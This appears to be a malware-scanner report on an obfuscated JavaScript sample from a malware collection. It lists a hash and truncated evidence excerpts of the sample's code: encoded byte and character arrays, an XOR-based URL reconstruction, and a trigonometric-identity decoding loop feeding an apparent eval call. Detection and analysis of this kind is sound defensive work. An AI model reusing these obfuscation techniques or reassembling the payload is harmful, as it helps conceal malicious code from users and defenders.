Suspicious ^80% javascript-malware-collection Download

20151216_3c6ceb08f413cf063755994a02a9c653.js

Heavily obfuscated eval payload

Numeric trig-round obfuscation expressionNumeric sine-square obfuscation expression

SHA-256df0d74edc43851cc220ebda4308a904d1327fdd03ce42c5f7d59efc4ed676f5b

Evidence

0xff hex byte token line 1

1:199… xc2,0xc5,0xc9,0xce,0xd3,0xdb,0xdc,0xe5,0xea,0xef,0xf1,0xf8,0xfe,0xff,0x104,0x10b,0x112,0x114,0x119,0x121,0x126,0x12a,0x12d,0x132,0x137,0x13d,0x144,0x146,0x14c,0x14f,0x156,0x15b,0x15e,0x164,0x16a,0 …

Builds characters with String.fromCharCode line 2

2:162… 'O','X','=','z','1','F','Z','O','m','y','2','n','#','a','(','Q',String.fromCharCode(10),'M','I','Z','f','d',' ','m',';','X','.','u','Z','S',String.fromCharCode(13),'T','9','c',' ','#','`','?','I','j','s','Y','r','E','5','?',' ','[','G','@','k',':','P','-','v','8','L','t','3','F','V','@','>','^','O','8','n','5','(','^','{',' ','p',',','*','#','T','y','u','I',';',' ','%','x','w','W','D','T','Q','1','M','h','T',')','(','2','f','^','@','r','N','B …

XOR URL reconstruction call line 2

2:774… '`','J','R','@','g','%','O','l','_','c','U','-','#','&','H','*',String.fromCharCode(39),'B','I','9','(',')','F','j','G',')','f','9','A','u','*','d','j','6','s','[','i','(','+',',','Z','j','D','-','Y','0','/',';','-','^','-','&','[','.','f','F','T','K','/','&','0','i',';','d','i','A','8','1','j','"','M','R','0','2','3','/','<','_','?','4','m','F …

Dense indexed short-token grid lines 12–13

12:33… QByUMTC,QmCExWsJfOB) {IFrZdUCDCckIbS[uOYFmWQByUMTC]=QmCExWsJfOB;}
13var T = new Array();T[0]=[];T[0][0]='d';T[0][1]='a';T[0][2]='d';T[0][3]='a';T[0][4]='46';T[0][5]='3d';T[0][6]='42';T[0][7]='14';T[0][8]='3r';T[0][9]='14';T[0][10]='25';T[0][11]='14';T[0][12]='16';T[0][13]='47';T[0][14]='3k';T[0][15]='3d';T[0][16]='44';T[0][17]='3g';T[0][18]='3l';T[0][19]='3g';T[0][20]='49';T[0][21]='3 …

Numeric sine-square obfuscation expression lines 19–22

19:30… ],T[4],T[5]];
20var zMPcomoZh=[];
21function LqoctcuTWHvncFFNy(zHdvD){YIFTUSQuIjR= '';EJBBHOGSYAl=Math.round((Math.pow(Math.sin(53), 2) + Math.pow(Math.cos(53), 2) - 1));while(true){if (EJBBHOGSYAl >= (-26+782)/126){break;}zMPcomoZh[EJBBHOGSYAl]=Math.round((Math.pow(Math.sin(27), 2) + Math.pow(Math.cos(27), 2) - 1)); while(true) { if(zMPcomoZh[EJBBHOGSYAl] > zHdvD[EJBBHOGSYAl].length-(-7+78)/71) { break; } if (xSeCzEc(dRyCH(zHdvD[EJBBHOGSYAl][zMPcomoZh[EJBBHOGSYAl]],(16994+366)/620,(1597+503)/210))) {YIFTUSQuIjR += TTQHnHnjoocAGNNPVfAHLtOTnnEzRCZUTUmSHoKotEaaZTExEOJcYz([zHdvD[EJBBHOGSYAl][zMPcomoZh[EJBBHOGSYAl]]], Math.round((Math.pow(Math.sin(745), 2) + Math.pow(Math.cos(745), 2) - 1)));} zMPcomoZh[EJBBHOGSYAl]++;}EJBBHOGSYAl++;} return YIFTUSQuIjR}
22var MyUcLTtBTLSPLlilNSUYowZLgSnThuVjv = 'EQgpfuCoyVJKGlIGraTcpYhulhydsxMeYLyA';var yokwEttGeuJFtOlVhmaaDIhTiAVqcHwo = 'IFwnoClTmQHbbsKwoDSeTrtfxZdYkpQBZbCX';sfcagSlLKwuWLCB(LqoctcuTWHvncFFNy(zHdvD),MyUcLTtBTLSPLlilNSUYowZLgSnThuVjv,yokwEttGeuJFtOlVhmaaDIhTiAVqcHwo);